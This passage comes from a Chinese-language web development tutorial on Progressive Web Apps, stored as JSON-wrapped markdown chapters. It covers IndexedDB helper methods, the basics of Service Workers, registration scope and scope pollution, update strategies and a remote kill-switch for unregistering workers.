}\n}\n```\n\n这样通过 getAll() 方法就可以异步获取仓库中存储的全部数据了：\n\n```js\ndb.getAll()\n  // 打印 Map(2) {\n  //   'number' => 1,\n  //   '/path/to/data': {status: 0, data: 'Hello World'}\n  // }\n  .then(map => console.log(map))\n```\n\n### 删除数据 removeItem()\n\n`removeItem()` 用于删除数据，通过参数 key 进行数据匹配并删除：\n\n```js\nclass DB {\n  // ...\n\n  async removeItem (key) {\n    // 获取数据库实例\n    let db = await this.getDB()\n    // 创建事务，并指定好仓库名以及删除操作的读写权限\n    let transaction = db.transaction([this.storeName], 'readwrite')\n    let objectStore = transaction.objectStore(this.storeName)\n    // 删除数据，并用 Promise 进行包裹\n    let request = objectStore.delete(key)\n    return promisify(request)\n  }\n}\n```\n\n这样删除数据操作可以简化为如下形式：\n\n```js\ndb.removeItem('number')\n  // 数据删除成功时 Promise 对象执行 resolve\n  .then(() => console.log('删除成功'))\n```\n"
  },
  {
    "path": "chapter03.md",
    "content": "# 基础技术简介\n\nPWA 是建立在现代前端技术和标准之上的，因此在介绍 PWA 特别是 Service Worker 相关的内容时，会频繁地使用一些方法和对象。它们有的不属于 PWA 的范畴，有的不一定要配合 Service Worker 使用，但它们都属于 PWA 的基础，对它们的学习将有助于后面章节理解，因此有必要花些篇幅进行介绍。\n\n在本章内容当中，将首先介绍 ES6 标准给出的异步编程解决方案 Promise，它是 PWA 所有异步方案的基础，然后进一步介绍更直观的异步方案 Async 函数。在有了最新的异步编程概念之后，紧接着介绍如何使用 Fetch API 发送异步请求，并与 XMLHttpRequest 进行比对。最后介绍了对资源进行缓存的方法，包括用于缓存资源请求响应的 Cache API 和本地非关系型数据库 IndexedDB，为后面利用 Service Worker 实现离线缓存功能提供了基础。\n"
  },
  {
    "path": "chapter04/1-service-worker-introduction.md",
    "content": "# Service Worker 简介\n\n丢失网络连接是一个困扰 Web 用户多年的难题，即使是世界上最好的 Web App，如果因为网络原因访问不了它，那体验也是非常糟糕的。本小节要介绍的 Service Worker 能提供一种良好的统筹机制对资源缓存和网络请求进行缓存和处理，是 PWA 实现离线可访问、稳定访问、静态资源缓存的一项重要技术。\n\n通常所讲的 Service Worker 指的是 Service Worker 线程。了解浏览器工作原理的开发者都知道浏览器中执行的 JavaScript 文件是运行在一个单一线程上，称之为 **主线程**。而 Service Worker 是一种独立于浏览器主线程的 **工作线程**，与当前的浏览器主线程是完全隔离的，并有自己独立的执行上下文（context）。\n\n首先借一个简单的例子来了解一下什么是 Service Worker，假如现在有一个最简单的前端项目 serviceWorkerDemo ，目录结构如下：\n\n```bash\n.\n└── serviceWorkerDemo\n    ├── index.html\n    └── sw.js\n```\n\n`index.html` 文件的内容如下：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Demo</title>\n  </head>\n  <body>\n    <script>\n      navigator.serviceWorker.register('./sw.js')\n    </script>\n  </body>\n</html>\n```\n\nHTML5 提供的一个 Service Worker API，能够进行 Service Worker 线程的注册、注销等工作，在该示例中，通过 `navigator.serviceWorker.register()` 方法就能够注册一个 Service Worker，在当前的浏览器主线程的基础上新起一个 Service Worker 线程。\n\n在示例项目的目录中还有一个 `sw.js`，有时候开发者会将这个 JavasScript 脚本文件称之为 Service Worker，这种说法不是很严谨，通常将可以被 `navigator.serviceWorker.register()` 方法注册的 JavaScript 文件称之为 Service Worker 文件，可以是任何命名，在这个示例中命名为 `sw.js`，其内容就是在 Service Worker 线程上下文中执行的内容（如果文件为空代表 worker 线程什么也不会做），由于 Service Worker 线程是独立于主线程的工作线程，所以在 `sw.js` 中的任何操作都不会影响到主线程。\n\n接下来，我们来运行一下上面简易的示例，可以借助 local-web-server 工具在示例项目根目录下启动一个本地服务器，帮助我们查看一下 Service Worker 的具体运行状态，如下操作：\n\n```bash\n$ npm install -g local-web-server\n$ ws\n```\n\n> 提示：\n> 为了方便介绍，本章所有的 Demo 示例在提到 “运行” 的时候，都指的是在 Demo 项目的根目录通过 `ws` 命令启动 local-web-server，其默认 host 为 `127.0.0.1`，默认端口号为 `8000`。\n\n使用 Chrome 浏览器访问示例站点 `http://127.0.0.1:8000` 的，可以在开发者模式的 `Applications > Service Worker` 面板中看到当前 Service Worker 线程的状态，在完成了 Service Worker 注册安装之后，结果如下图所示：\n\n![Chrome 下运行 Service Worker 示例的结果](./img/service_worker_chrome_devtools.png)\n\n当调节当前的网络状态为「离线」，依然可以看到 Service Worker 还是生效状态，通过这个例子可以发现，Service Worker 不仅是一个独立于主线程的的一个工作线程，并且还是一个可以在离线环境下运行的工作线程，这样就为 PWA 的离线与缓存功能提供了可行性基础。\n\n## 为什么有 Service Worker\n\n在了解了 Service Worker 是一个工作线程的本质之后，接下来继续了解一下为什么会有 Service Worker 这个技术出现呢？W3C（国际万维网联盟）早在 2014 年 5 月就提出了 Service Worker HTML5 API 草案，用来进行 Web 资源和请求的持久离线缓存。Service Worker 的来历可以从两个方面来介绍。\n\n一方面，浏览器中的 JavaScript 都是运行在一个单一主线程上的，在同一时间内只能做一件事情。随着 Web 业务不断复杂，在 JavaScript 中的代码逻辑中往往会出现很多耗资源、耗时间的复杂运算过程。这些过程导致的性能问题在 Web App 日益增长的复杂化过程中更加凸显出来。所以 W3C 提出了 Web Worker API 来专门解放主线程，Web Worker 是脱离在主线程之外的工作线程，开发者可以将一些复杂的耗时的工作放在 Web Worker 中进行，工作完成后通过 postMessage 告诉主线程工作的结果，而主线程通过 onmessage 得到 Web Worker 的结果反馈，从而释放了主线程的性能压力。\n\n代码执行性能问题好像是解决了，但 Web Worker 是临时存在的，每次做的事情的结果不能被持久存下来，如果下次访问 Web App 同样的复杂工作还是需要被 Web Worker 重新处理一遍，这同样是一件消耗资源的事情，只不过不是在主线程消耗罢了。那能不能有一个 Worker 线程是一直是可以持久存在的，并且随时准备接受主线程的命令呢？基于这样的需求 W3C 推出了最初版本的 Service Worker，Service Worker 在 Web Worker 的基础上加上了持久离线缓存能力，可以通过自身的**生命周期**特性保证复杂的工作只处理一次，并持久缓存处理结果，直到修改了 Service Worker 的内在的处理逻辑。\n\n而另一方面，为了解决 Web 网络连接不稳定的问题，W3C 在很早的时候提出了 ApplicationCache 机制来解决离线缓存的问题，做法是在 HTML 页面中可以指定一个清单文件 `manifest.appcache`，清单中指定需要离线缓存的静态资源，ApplicationCache 能够解决离线可访问的问题。假设已经存在一个简单的项目 applicationCacheDemo，项目目录如下：\n\n```bash\n.\n└── applicationCacheDemo/\n    ├── index.html\n    └── manifest.appcache\n```\n\n下面是一个简单的 `manifest.appcache` 配置文件内容：\n\n```bash\nCACHE MANIFEST\n# version xx.xx.xx\nCACHE:\ncached.png\ncached.js\n\nNETWORK:\nnoCached.html\nnoCached.css\n\nFALLBACK:\n/ 404.html\n```\n\n`CACHE` 字段配置了需要当前页面离线缓存的静态资源，`NETWORK` 字段配置了当前页面不需要离线缓存的静态资源，`FALLBACK` 字段指定了一个后备页面，当资源无法访问时，浏览器会使用该页面。该段落的每条记录都列出两个 URI，第一个表示资源，第二个表示后备页面。两个 URI 都必须使用相对路径并且与清单文件同源。可以使用通配符。有了 `manifest.appcache` 文件之后，可以在 `index.html` 的 HTML 文件中的 `<html>` 标签进行引入从而指定当前页面的静态资源离线缓存的情况，如下面代码所示：\n\n```html\n<!DOCTYPE html>\n<html manifest=\"./manifest.appcache\">\n<!--...-->\n</html>\n```\n\n虽然通过 ApplicationCache 机制能够解决 Web App 的离线缓存的问题，但是同时也带来了不小的问题：\n\n- 在 manifest.appcache 文件中定义的资源全部被成功加载后，这些资源文件连同引用 manifest.appcahe 文件的 HTML 文档一并被移动到永久离线缓存中。所以如果想只缓存 JS、CSS、图片等文件，而不希望缓存 HTML 文档以保持获得最新内容的情况来说，是个非常大的问题。\n\n- 根据 ApplicationCache 的加载机制，如果仅仅修改被缓存资源文件的内容（没有修改资源文件的路径或名称），浏览器将直接从本地离线缓存中获取资源文件。所以在每次修改资源文件的同时，需要修改 manifest.appcache 文件，以触发资源文件的重新加载和缓存，维护成本太高。\n\n- 靠一个 manifest.appcache 配置文件来维护一个复杂的站点的缓存策略实在是一件非常艰难的工作，毕竟单纯靠配置是非常不灵活的。\n\n- 对动态请求无法处理。\n\n通过一段时间的实践后，W3C 决定废弃 ApplicationCache，虽然其仍然保留在 HTML 5.0 Recommendation 中，但会在 HTML 后续版本中移除。一些主流浏览器甚至已经将 ApplicationCache 标注为不推荐使用，并引导开发者使用 Service Worker。Service Worker 就很好的解决了 ApplicationCache 的痛点问题，它能够通过非常多的缓存策略来灵活的管理 Web App 的离线缓存，大大降低维护成本（我们会在后面章节详细的讲解这部分的内容）。\n\n基于 Woker 工作线程的离线能力和离线缓存机制的双重迫切需求，通过不断的实践和发展，W3C 最终提出的 Service Worker API 可以以独立工作线程的方式运行，结合持久缓存调度策略，能够很好的解决离线缓存问题。并且可以以非侵入的方式与现存的 Web App 结合使用，从可以实现 PWA 渐进式的离线与缓存的效果。\n\n## Service Worker 的特点\n\nService Worker 功能虽然强大，但是使用 Service Worker 还是有一定的条件以及一些专有的特点的。\n\n出于安全的考虑 Service Worker **必须运行在 HTTPS 协议下**，Github 提供的 [git page](https://pages.github.com/)是个用来测试 Service Worker 的好地方，因为它就直接就支持 HTTPS，直接就可以测试静态页面和静态资源，为了便于本地开发，`localhost`、`127.0.0.1` 这种非 HTTPS 协议也被浏览器认为是安全源。\n\nService Worker 线程**有自己完全独立的执行上下文**。**一旦被安装成功就永远存在，除非线程被程序主动解除**，而且 Service Worker 在访问页面的时候可以直接被激活，如果关闭浏览器或者浏览器标签的时候会自动睡眠，以减少资源损耗。\n\nService Worker 是完全异步实现的，内部的接口的异步化都是通过 Promise 实现，并且在 Service Worker 中**不能直接操作 DOM**，出于安全和体验的考虑，UI 的渲染工作必须只能在主线程完成。\n\nService Worker **可以拦截并代理请求，可以处理请求的返回内容**，可以持久化缓存静态资源达到离线访问的效果，和 ApplicationCache 不同，Service Worker 的所有的离线内容**开发者完全可控**，甚至是可以控制动态请求，第三方静态资源等。\n\n由于 Service Worker 可以离线并且在后台工作，所以可以进行 **推送消息**（第六章会详细说明）、**后台同步**资源等功能，在不久的将来，利用 Service Worker 的这一特性，甚至可以衍生出更多的 Web App 原生化的功能。\n\n## 浏览器支持程度\n\n由于 W3C 标准或草案的提出之后各大浏览器的实现步伐是不一样的，参考 [Can I Use](https://caniuse.com) 截止 2019-04-02 的数据，如下图所示当前各大浏览器对 Service Worker 的支持情况如下。\n\n![caniuse.com 给出的 Service Worker 浏览器支持情况](./img/service_worker_support.png)\n\n从上图可以看出，Service Worker 的支持程度已经达到 `89.84%`。其中 Chrome 作为开路先锋早早的在 V40 版本就已经支持 Service Worker，并在 Devtools 中还提供了完善的 Debug 方案，Apple 方面从 MacOS Safari 11.1 和 iOS Safari 11.3 开始全面支持，IE Edge 从 17 版本开始也全面支持。\n\n目前 Apple 和微软都已经支持了 Service Worker，所以对于 “离线可访问” 这样的 PWA 特性来讲，几乎可以在任何的现代浏览器中被实现。\n\n更详细的 Service Worker 浏览器支持信息，可以在 [Jake Archibald 的 Is ServiceWorker Ready](https://jakearchibald.github.io/isserviceworkerready/) 网站上查看所有浏览器的支持情况。\n\n由于 Service Worker 的功能是渐进式的，如果浏览器不支持 Service Worker，在架构设计上 Web App 也应该能够正常运行，为了防止 JavaScript 报错，所以通常在注册之前需要进行嗅探处理。修改 serviceWorkerDemo 的 `index.html` 代码如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./sw.js')\n      }\n    </script>\n  </body>\n</html>\n```\n\n## 小结\n\n本节介绍了 Service Worker 的一些基本概念和 Service Worker 的一些背景和功能，但是对注册的细节，Service Worker 生命周期等细节没有做深入介绍，这些内容对于使用 Service Worker 对 Web App 进行离线缓存处理有重要作用。接下来的章节将会对 Service Worker 的这些细节做更加详细的介绍。\n"
  },
  {
    "path": "chapter04/2-service-worker-register.md",
    "content": "# Service Worker 注册\n\n通过前面对 Service Worker 概念的介绍，我们对 Service Worker 的一些概念和原理有了一定的了解，在本节将会重点介绍 Service Worker 注册的相关内容。主要会介绍如何为 Web App 注册一个 Service Worker、在不同的项目架构下注册 Service Worker 的方法、Service Worker 注册的一些细节和注意点等。\n\n## 作用域\n\nService Worker 是有自己的作用域的，Service Worker 作用域是一个 URL path 地址，指的是 Servcie Worker 能够控制的页面的范围，例如：某个 Service Worker 的作用域为 `https://somehost/a/b/`，那这个 Service Worker 能控制 `https://somehost/a/b/` 目录下的所有页面，可以包含下面列出的页面：\n\n- `https://somehost/a/b/index.html`\n- `https://somehost/a/b/c/index.html`\n- `https://somehost/a/b/anothor.html`\n- ...\n\n所谓的 “控制页面” 指的是 Service Worker 可以处理这些页面里面的资源请求和网络请求，然后通过 Service Worker 自身的调度机制构建离线缓存策略。如果页面不在 Service Worker 的作用域范围内，Service Worker 就无法处理页面的任何资源或请求。\n\n为了加深对 Service Worker 作用域的理解，接下来还是来看下 serviceWorkerDemo 这个示例，在 `index.html` 中修改一下代码如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./sw.js')\n          .then(reg => {\n            console.log(reg)\n          })\n      }\n    </script>\n  </body>\n</html>\n```\n\n首先从上面代码可以看出 `navigator.serviceWorker.register()` 方法返回的是一个 Promise，这个 Promise 中 resolve 返回的是 Service Worker 注册成功后返回的 ServiceWorkerRegistration 对象。运行之后将这个对象打印出来的结果如下图所示。\n\n![ServiceWorkerRegistration 对象内容](./img/service_worker_registration.png)\n\nServiceWorkerRegistration 对象中的 scope 的值就是当前的 Service Worker 的作用域，在这个示例中为 `http://127.0.0.1:8000/`。\n\n为了更直观的看到 Service Worker 作用域的工作原理，接下来新建一个 serviceWorkerScopeDemo 项目，项目目录结构如下：\n\n```bash\n.\n└── serviceWorkerScopeDemo\n    ├── a\n    │   └── b\n    │       └── sw.js\n    └── index.html\n```\n\n将 `sw.js` 放入 `/a/b/` 目录下，将 `index.html` 中的注册 Service Worker 逻辑修改一下，代码如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a/b/sw.js')\n          .then(reg => {\n            console.log(reg.scope)\n            // http://127.0.0.1:8000/a/b/\n          })\n      }\n    </script>\n  </body>\n</html>\n```\n\n将 `navigator.serviceWorker.register()` 方法的 Service Worker 文件 URL 改成 `./a/b/sw.js`，运行结果打印出来的 scope 结果为 `http://127.0.0.1:8000/a/b/`。通常情况下在注册 `sw.js` 的时候会忽略 Service Worker 作用域的问题，Service Worker 默认的作用域就是注册时候的 path, 例如：Service Worker 注册的 path 为 `/a/b/sw.js`，则 scope 默认为 `/a/b/`。\n\n也可以通过在注册时候在 `navigator.serviceWorker.register()` 方法中传入 `{scope: '/some/scope/'}` 参数的方式自己指定作用域，如下代码所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a/b/sw.js', {\n          // 手动指定一个作用域\n          scope: '/a/b/c/'\n        }).then(reg => {\n          console.log(reg.scope)\n          // http://127.0.0.1:8000/a/b/c/\n        })\n      }\n    </script>\n  </body>\n</html>\n```\n\n将 scope 配置 `{scope: '/a/b/c/'}` 传入 `navigator.serviceWorker.register()` 方法，运行后打印出来的内容为 `http://127.0.0.1:8000/a/b/c/`。也就是说可以通过参数为 Service Worker 指定一个作用域。当然，这个自定义作用域是不可以随意指定的，可以通过如下代码修改 `index.html`：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a/b/sw.js', {\n          scope: '/a/'\n        }).then(reg => {\n          console.log(reg.scope)\n        })\n      }\n    </script>\n  </body>\n</html>\n```\n\n上面代码将作用域指定为 `/a/`，运行后浏览器会报错，报错的内容如下图所示。\n\n![Service Worker 作用域报错信息](./img/service_worker_scope_error.png)\n\n通过报错信息知道 `sw.js` 文件所在的 URL 的 path 是 `/a/b/`，则默认的作用域和最大的作用域都是 `/a/b/`，不允许指定超过最大作用域范围的 `/a/` 为作用域。\n\n通俗的讲，Service Worker 最多只能在 Service Worker 文件 URL path 范围内发挥作用，以上面代码为例，`/a/b/`，`/a/b/c/`，`/a/b/c/d/` 下的页面都可以被注册的 Service Worker 控制。但是 `/a/`、`/e/f/` 目录下面的页面是不受注册的 Service Worker 的控制的（当然浏览器也会抛出错误告知开发者）。也就是说，在最大作用域的基础上才能通过 scope 配置在注册 Service Worker 的时候指定自定义的作用域。\n\n> 注意：\n> 类似于 Ajax 的跨域请求可以通过对请求的 Access-Control-Allow-Origin 设置，我们也可以通过服务器对 sw.js 这个文件的请求头进行设置，就能够突破作用域的限制，只需要在服务端对 sw.js 请求设置 Service-Worker-Allowed 请求头为更大控制范围或者其他控制范围的 scope 即可。如：`Service-Worker-Allowed: /a/`。\n\n## Service Worker 作用域污染\n\n通过对 Service Woker 作用域的了解会发现一个问题：**会不会存在多个 Service Worker 控制一个页面的情况呢？** 接下来再新建 serviceWorkerScopeDemo1 项目来了解注册多个 Service Worker 的情况下会有些什么神奇的情况发生。项目目录如下所示：\n\n```bash\n.\n└── serviceWorkerScopeDemo1\n    ├── a/\n    │   ├── a-sw.js\n    │   └── index.html\n    ├── b/\n    │   └── index.html\n    └── root-sw.js\n```\n\n如果 `/a/index.html` 页面是如下方式注册 Service Worker：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope DEMO1 PageA</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('./a-sw.js')\n      }\n    </script>\n  </body>\n</html>\n```\n\n而 `/b/index.html` 页面是如下方式注册 Service Worker：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope DEMO1 PageB</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.register('../root-sw.js')\n      }\n    </script>\n  </body>\n</html>\n```\n\n`http://127.0.0.1:8000/a/index.html` 页面（称为 A 页面）在 `/a/` 作用域下注册了一个 Service Worker，而 `http://127.0.0.1:8000/b/index.html` 页面（称为 B 页面）在 `/` 作用域下注册了一个 Service Worker，这种情况下 B 页面的 Service Worker 就可以控制 A 页面，因为 B 页面的作用域是包含 A 页面的最大作用域的，这个时候这种情况就称之为**作用域污染**，这时候就会出现如下图所示的情况，A 页面被两个 Service Worker 所控制。\n\n![Service Worker 作用域污染](./img/service_worker_scope_pollute.png)\n\n在开发环境开发者在 Chrome 浏览器还可以通过 Devtools 进行手动 “unregister” 来清除掉污染的 Service Worker，但是如果在线上环境被安装了 Service Worker 之后这就是个持久的过程。除非用户手动清除存储的缓存（这个也是不可能的），否则就会出现 Service Worker 交叉控制页面的问题。\n\n当然，线上出现作用域污染的情况也是有办法解决的，比较合理的一种做法是在 A 页面新上线的 `/a/index.html` 版本中注册 Service Worker 之前借助 `navigator.serviceWorker.getRegistrations()` 方法将污染的 Service Worker 先注销掉，然后在注册自己的所在作用域的 Service Worker。具体做法还是看下示例，将 serviceWorkerScopeDemo1 项目的 `/a/index.html` 文件修改后代码如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Scope Demo1 PageA</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              // 注销掉不是当前作用域的所有的 Service Worker\n              if (reg.scope !== 'https://127.0.0.1:8000/a/') {\n                reg.unregister()\n              }\n            }\n            // 注销掉污染 Service Worker 之后再重新注册自己作用域的 Service Worker\n            navigator.serviceWorker.register('./a-sw.js')\n          })\n      }\n    </script>\n  </body>\n</html>\n```\n\n通过这样的方式，运行 serviceWorkerDemo 项目会发现，A 页面只会有一个被自己注册的 Service Worker 生效，在复杂的项目架构中，Service Worker 的作用域污染问题会经常发生，在设计 Service Worker 注册逻辑的时候，尤其是大型的 Web App 项目的时候需要考虑到这点。\n\n## Service Worker 注册设计\n\n由于 Service Worker 注册会有意想不到的作用域污染问题，而 Web App 项目又有多种形式存在，有 SPA（单页面应用），MPA（多页面应用）等架构方式，那到底怎么进行 Service Worker 注册才合适呢？\n\n### SPA 注册 Service Worker\n\nSPA 在工程架构上只有一个 `index.html` 的入口，站点的内容都是异步请求数据之后在前端渲染的，应用中的页面切换都是在前端路由控制的。\n\n通常会将这个 `index.html` 部署到 `https://somehost`，SPA 的 Service Worker 只需要在 `index.html` 中注册一次。所以一般会将 `sw.js` 直接放在站点的根目录保证可访问，也就是说 Service Worker 的作用域通常就是 `/`，这样 Service Worker 能够控制 `index.html`，从而控制整个 SPA 的缓存。\n\nSPA 每次路由的切换都是前端渲染的，这个过程本质上还是在 `index.html` 上的前端交互。通常 Service Worker 会预先缓存 SPA 中的 AppShell 所需的静态资源以及 `index.html`。当然有一种情况比较特殊，当用户从 `https://somehost/a` 页面切换到 `https://somehost/b` 页面的时候，这时候刷新页面首先渲染的还是 `index.html`，在执行 SPA 的路由逻辑之后，通过 SPA 前端路由的处理，继续在前端渲染相应的路由对应的渲染逻辑，这部分的逻辑都是在已经缓存的 JavaScript 中完成了。\n\n### MPA 注册 Service Worker\n\nMPA 这种架构的模式在现如今的大型 Web App 非常常见，这种 Web App 相比较于 SPA 能够承受更重的业务体量，并且利于大型 Web App 的后期维护和扩展。MPA 可以理解为是有多个 HTML 文件对应着多个不同的服务端路由，也就是说 `https://somehost/a` 映射到 `a.html`，`https://somehost/b` 映射到 `b.html`。\n\n那么 MPA 架构下怎么去注册 Service Worker 呢？是不同的页面注册不同的 Service Worker，还是所有的页面都注册同一个 Service Worker？结论是：需要根据实际情况来定。\n\n#### MPA 注册单个 Service Worker\n\n在每个页面之间的业务相似度较高，或者每个页面之间的公共静态资源或异步请求较多，这种 MPA 是非常适合在所有的页面只注册一个 Service Worker。\n\n例如 `https://somehost/a` 和 `htps://somehost/b` 之间的公共内容较多，则通常情况下在 `/` 作用域下注册一个 Service Worker。这样这个 Service Worker 能够控制 `https://somehost` 域下的所有页面。\n\nMPA 维护单个 Service Worker 有如下特点：\n\n- 可以统一管理整个站点的缓存。\n- 不会造成页面之间的作用域污染。\n- 后期维护成本相对较低。\n\n#### MPA 注册多个 Service Worker\n\nMPA 注册多个 Service Worker 适用于主站非常庞大的 Web App，并且是以 path 分隔的形式铺展垂类子站的大型 Web App，这种情况下就不适合只在 `/` 作用域下只注册一个 Service Worker 了。\n\n例如：`https://somehost/a` 和 `https://somehost/b` 几乎是两个站点，其中公共使用的静态资源或异步请求非常少，则比较适合每个子站注册维护自己的 Service Worker，`https://somehost/a` 注册 Servcie Worker 的作用域为 `/a/`，最好是存在 `/a/sw.js` 对应的 Service Worker 文件 URL 可访问，尽量不要使用某一个公用的 `/sw.js` 并使用 scope 参数来自定义作用域，这样会增加后期的维护成本以及增加出现 bug 的风险。\n\n子站在实现上还要考虑一点是，防止其他页面的 Service Worker 对自身页面造成污染，需要在注册子站 Service Worker 之前将不是子站 path 作用域的 Service Worker 先注销掉。\n\n注册多个 Service Worker 有如下特点：\n\n- 需要严格要求每个子站管理好自己的 `sw.js` 及作用域。\n- 防止对其他子站的 Service Worker 造成影响。\n- 相比较整个站点只注册一个 Service Worker，这种维护多个 Service Worker 的方式更加灵活。\n- 随着子站的增多，风险相对会更加大，也更加难以维护。\n\n## Service Worker 更新\n\n当在页面中通过 `sw.js` 注册了一个 Service Worker 之后，如果 `sw.js` 内容发生了变更，Service Worker 该如何更新呢？\n\n拿 SPA 为例，作为 AppShell 的载体 `index.html` 是会被缓存起来的，AppShell 的静态资源也都会被缓存起来的，由于 Service Worker 的注册入口必须是在主线程完成，所以 Service Worker 的注册必然是需要在 `index.html` 的 `<script></script>` 标签或者被缓存住的 JavaScript 文件中来实现的。\n\n如果 Web App 功能发生了升级更新，我们预期的结果是当用户刷新页面的时候希望浏览器立即更新当前页面的缓存，并且立即加载最新的内容和资源，呈现最新的效果给用户看到。可是用户在刷新页面的时候看到的还是之前缓存的老的内容，这时候该如何处理呢？\n\n通常在每次进行 Web App 升级的时候，都必须伴随着 Service Worker 文件 `sw.js` 的升级，当浏览器检测到 `sw.js` 的升级之后，就会重新触发注册、安装、激活、控制页面的流程，并在这个过程中就会更新当前 Web App 的离线缓存为最新的上线内容。\n\n在执行 `navigator.serviceWorker.register()` 方法注册 Service Worker 的时候，浏览器通过自身 diff 算法能够检测 `sw.js` 的更新包含两种方式：\n\n- Service Worker 文件 URL 的更新\n- Service Worker 文件内容的更新\n\n在实际项目中，在 Web App 新上线的时候，通常是在注册 Service Worker 的时候，通过修改 Service Worker 文件的 URL 来进行 Service Worker 的更新，一般采用以下代码所示的方式处理：\n\n```js\nif ('serviceWorker' in navigator) {\n  navigator.serviceWorker.register('./sw.js?v=20190401235959')\n}\n```\n\n每次 Web App 上线构建的时候，维护一个最新的唯一构建版本号，将构建版本号写入 Service Worker 文件 URL 的版本号参数中，这样的话，就能够保证每次 Web App 有最新上线功能的时候，都能够有最新的 Service Worker 文件 diff 让浏览器能够检测到。当然，除了改变 Service Worker 文件 URL，还可以改变 Service Worker 文件的内容，如下代码所示：\n\n```js\n// sw.js\nself.version = '20190401235959'\n```\n\n> 注意：\n> 在 sw.js 中，`self` 为 Service Worker 线程的全局命名空间，类似于主线程的 `window`，在 sw.js 中是访问不到 `window` 命名空间的。\n\n在 Web App 每次上线新的功能，项目进行构建的时候，可以将最新的唯一构建版本号写在 `sw.js` 文件内，这样也能保证每次 Web App 都能够有最新的 Service Worker 文件 diff 被浏览器检测到。\n\n## Service Worker 容错\n\n由于 Service Worker 一旦上线就会永久生效，如果发现线上 Service Worker 有 bug 该怎么办呢？有一种亡羊补牢的方法是重新上一次线，注销掉有 bug 的 Service Worker，假如现在有一个现存的项目 serviceWorkerUnregisterDemo，项目目录如下：\n\n```bash\n.\n└── serviceWorkerUnregisterDemo/\n    ├── index.html\n    └── sw.js\n```\n\n如果需要紧急下线该项目的 Service Worker，则 `index.html` 代码如下所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Unregister Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        navigator.serviceWorker.getRegistrations()\n          .then(regs => {\n            for (let reg of regs) {\n              // 注销掉所有的 Service Worker\n              reg.unregister()\n            }\n          })\n      }\n    </script>\n  </body>\n</html>\n```\n\n这种方法是在发现 Service Worker 出现问题之后，必须重新上线 Web App 来解决问题，这样的成本比较高。一般大型 Web App 上线的过程也非常复杂，上线周期长，所以这种止损效果较差，不是很可取。还有一种方法可以避免重新上线 Web App，只需要在 Service Worker 注册的时候通过一个 “**开关请求**” 做一个容错降级的处理，这个开关请求需要满足几个条件：\n\n- 能够快速上线，和 Web App 的上线解耦\n- 不能被缓存（无论是 HTTP 缓存还是 Service Worker 缓存）\n\n在实际项目中，通常开关请求会维护成一个 JavaScript 文件（当然也可以是任何一种请求类型，只不过 JavaScript 文件通常比较好维护，而且无需考虑请求跨域的问题），放在某一个可以快速上线的静态资源服务器。那么现在可以修改 serviceWorkerUnregisterDemo 项目的 `index.html` 代码来看看具体如何解决问题的，代码如下面所示：\n\n```html\n<!DOCTYPE html>\n  <head>\n    <title>Service Worker Unregister Demo</title>\n  </head>\n  <body>\n    <script>\n      if ('serviceWorker' in navigator) {\n        // 正常进行注册 Service Worker\n        navigator.serviceWorker.register('./sw.js?v=20190401235959')\n        let script = document.createElement('script')\n        // 假设这个 JS 中存在 Service Worker 开关全局变量\n        script.src = 'https://some-static-cdn-host/sw-on-off.js'\n        script.async = true\n        script.onload = () => {\n          // Service Worker 开关全局变量的名称\n          if (window.SW_TURN_OFF) {\n            navigator.serviceWorker.getRegistrations()\n              .then(regs => {\n                for (let reg of regs) {\n                  // 注销掉所有的 Service Worker\n                  reg.unregister()\n                }\n              })\n          }\n        }\n        document.body.appendChild(script)\n      }\n    </script>\n  </body>\n</html>\n\n```\n\n假如在 `https://some-static-cdn-host/sw-on-off.js` 静态资源服务器维护了一个开关 JavaScript 文件，那这个文件正常情况下的代码内容如下所示：\n\n```js\n/**\n * @file https://some-static-cdn-host/sw-on-off.js\n */\n\n// 当 Web App 线上出现紧急问题的时候将值设为 true 并上线\nwindow.SW_TURN_OFF = false\n```\n\n## 小结\n\n本节从注册 Service Worker 的角度出发，详细的介绍了在注册 Service Worker 的过程中需要考虑哪些问题，在不同的项目架构或者不同的情况下，注册 Service Worker 的考量点都是不一样的，接来下将会详细介绍 Service Worker 的技术细节，了解 Service Worker 到底是如何进行 PWA 的离线缓存的。\n"
  },
  {
    "path": "chapter04/3-service-worker-dive.md",
